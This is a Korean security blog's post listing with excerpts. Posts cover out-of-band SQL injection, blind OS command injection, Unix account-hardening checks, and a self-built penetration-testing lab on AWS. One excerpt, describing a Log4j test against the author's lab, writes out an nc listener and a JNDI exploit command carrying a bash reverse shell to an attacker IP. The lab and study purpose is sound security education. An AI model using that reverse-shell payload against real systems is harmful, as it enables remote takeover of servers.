1. Out-Of-Band SQL InjectionOOB SQL Injection은 SQL Injection을 통해 데이터베이스 서버가 기존의 웹 응답 채널이 아닌 별도의 네트워크 채널을 사용하여 외부 서버와 통신하도록 유도하는 공격 기법이다.일반적인 SQL Injection은 조회된 데이터가 웹 페이지에 직접 출력되거나, 참·거짓에 따른 응답 차이 또는 응답 시간의 변화를 이용하여 결과를 추론하는 Blind 방식으로 정보를 확인한다.반면 OOB SQL Injection은 데이터베이스가 공격자가 지정한 외부 서버로 DNS 조회나 HTTP 요청 등을 발생시키도록 만든 뒤, 해당 통신을 통해 SQL Query의 실행 여부를 확인하거나 데이터베이스 정보를 외부로 전달한다.즉, OOB SQL Injection의..
Web/심화 개념
2026. 9. 23. 11:16
Blind OS Command Injection
1. OS Command InjectionOS Command Injection은 웹 애플리케이션이 사용자로부터 입력받은 값을 운영체제 명령어에 포함하여 처리하는 과정에서 발생할 수 있는 취약점이다.사용자 입력값이 적절하게 검증되지 않은 상태로 시스템 명령어에 전달될 경우, 공격자가 입력값에 명령어 구분자나 특수 문자를 삽입하여 애플리케이션이 원래 의도한 명령어 외에 추가적인 OS 명령어를 실행하도록 만들 수 있다.이 취약점이 발생하면 웹 애플리케이션을 실행 중인 계정의 권한 범위 내에서 시스템 명령어 실행이 가능해질 수 있으며, 서버 정보 조회, 파일 접근, 데이터 변조 등 추가적인 공격으로 이어질 수 있다.2. 발생 원리일반적으로 애플리케이션은 사용자의 입력값을 단순한 데이터로 처리해야 한다. 그러나 ..
Infra/Unix 서버
2026. 9. 16. 15:54
[계정 관리] U-01~U-04 항목별 점검 방법
U-01. root 계정 원격 접속 제한점검 개요항목내용점검 내용시스템 정책에 root 계정의 원격터미널 접속 차단 설정이 적용되어 있는지 점검한다. 점검 목적 root 계정의 원격 직접 접속을 제한하여 비인가 접근을 방지위험도🔴 상점검 대상SOLARIS, LINUX, AIX, HP-UX 등판단 기준🟢 양호원격터미널 서비스를 사용하지 않거나, 사용 시 root 직접 접속을 차단한 경우 🔴 취약 원격터미널 서비스 사용 시 root 직접 접속을 허용한 경우공격 위험성Telnet, SSH 등의 원격 접속 서비스에서 root 계정의 직접 로그인을 허용할 경우 공격자가 외부에서 root 계정을 대상으로 무차별 대입 공격(Brute Force Attack), 사전 대입 공격(Dictionary Attack) ..
Web/프로젝트
2026. 8. 4. 22:26
TEAM_A Records Recovery 침투 Write-up
초기 탐색제공된 IP로 접속하니 로그인 화면이 먼저 나타났고, /index.php로 직접 접근해 보니 게스트 권한으로 열리는 메인 대시보드와 일부 메뉴를 확인했다.다른 메뉴는 인증이 필요했지만, 일부 업무 자료는 비로그인 상태에서도 열람할 수 있어서 공개된 문서부터 살펴봤다.자료실에 있던 11·17·19번 문서를 내려받아 확인했다.문서에는 임시 계정 생성 규칙, 개인 경로 캐시, 관리자 확인 화면 등 이후 공격 경로 힌트(?)들이 있었다.다운로드 요청의 id 값을 순차적으로 다른 번호로 변경했고, 화면에 노출되지 않은 23번과 38번 문서에도 접근할 수 있었다.문서에 포함된 seed 값과 계정 복구 메모를 통해 로그인 가능한 계정을 알 수 있었다.획득한 계정으로 로그인하기 전, 로그인 페이지의 응답을 살..
Web/프로젝트
2026. 7. 18. 01:01
침투 시나리오 기반 웹 프로젝트 시나리오 취약점 최종테스트
로그인 페이지의 응답 HTML을 확인하여, 입력한 사용자명이 Log4j2를 통해 서버 로그에 기록되는 지점을 확인[터미널 1] VPN 인터페이스의 IP 주소를 확인한 후, 리버스 셸 수신을 위해 4444 포트를 리스닝더보기nc -lvnp 4444[터미널 2] JNDI-Injection-Exploit 도구를 실행해 LDAP 서버를 구동하고, 생성된 JNDI 페이로드를 확인더보기java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -A "공격자IP" \ -C "bash -c {echo,bash -i >& /dev/tcp/공격자IP/4444 0>&1}|{base64,-d}|{bash,-i}" bash -i >& /dev/tcp/공격자IP/4444 0>&1 -> b..
Web/프로젝트
2026. 7. 16. 22:59
AWS 클라우드 서비스 서버 설정
1. 인스턴스 설정1.1. PUBLIC 인스턴스 설정EC2 콘솔의 인스턴스 메뉴로 이동한 후, 외부 웹 서비스를 운영할 Public EC2를 생성하기 위해 인스턴스 시작 클릭인스턴스 이름은 team-b-public-web으로 지정 후, 운영체제는 Ubuntu Server 선택인스턴스 유형은 프리 티어 사용이 가능한 것으로 선택하고, SSH 접속에 사용할 기존 키 페어인 team-b-key-v1로 설정프로젝트의 team-b-vpc와 team-b-public-subnet을 선택하고, 외부에서 접근할 수 있도록 퍼블릭 IP 자동 할당을 활성화보안 그룹은 미리 생성한 team-b-public-web-sg를 적용멘트 루트 볼륨은 범용 SSD인 gp3 유형의 8GiB로 설정하고, 별도의 파일 시스템은 추가 x설정을..
Web/프로젝트
2026. 7. 13. 21:24
AWS 클라우드 서비스 네트워크 설정
1. 네트워크 구성 예시[인터넷 공격자] │ │ 9000 ▼[Public EC2] public_web DB 계정 없음 │ │ 8081: 정상 웹 기능 API │ 18080: 스캔으로 발견할 관리자 페이지 ▼[Private EC2] ├─ public-data-api :8081 │ └─ DB 계정: public_app │ └─ admin_web :18080 └─ DB 계정: admin_app │ │ 3306 ▼[Private RDS] projectdb ├─ users ├─ posts ├─ files ├─ admin_user └─ flag외부에 노출된 Public EC2와 내부 서비스가 배..
Web/프로젝트
2026. 7. 13. 20:56
침투 시나리오 기반 웹 프로젝트 개발 (2)
1. 외부망 이전 작업에 이어 비밀번호 찾기 기능을 구현했다. 처음에는 외부 API를 연동해 휴대폰 또는 이메일 인증을 적용할 계획이었지만, 프로젝트 일정상 임시 비밀번호를 발급하는 방식으로 마무리했다.각 기능을 병합하는 과정에서 누락된 부분을 확인하고 수정했으며, 게시글 수정과 삭제 등 권한 검증이 필요한 기능 전반에 검증 로직을 적용했다.게시판에는 검색 기능이 구현되어 있지 않아 제목과 내용 등을 기준으로 검색할 수 있도록 기능을 추가했다.기존에는 페이지당 게시글 수가 3개로 설정되어 있었으나, 사용성을 고려해 한 페이지에 10개씩 표시되도록 수정했다.게시글 작성 시 첨부파일을 업로드할 수 있도록 기능을 구현했다.원본 파일명과 실제 저장 파일명을 분리하고, 저장 파일명에는 UUID를 사용했다. 또한 ..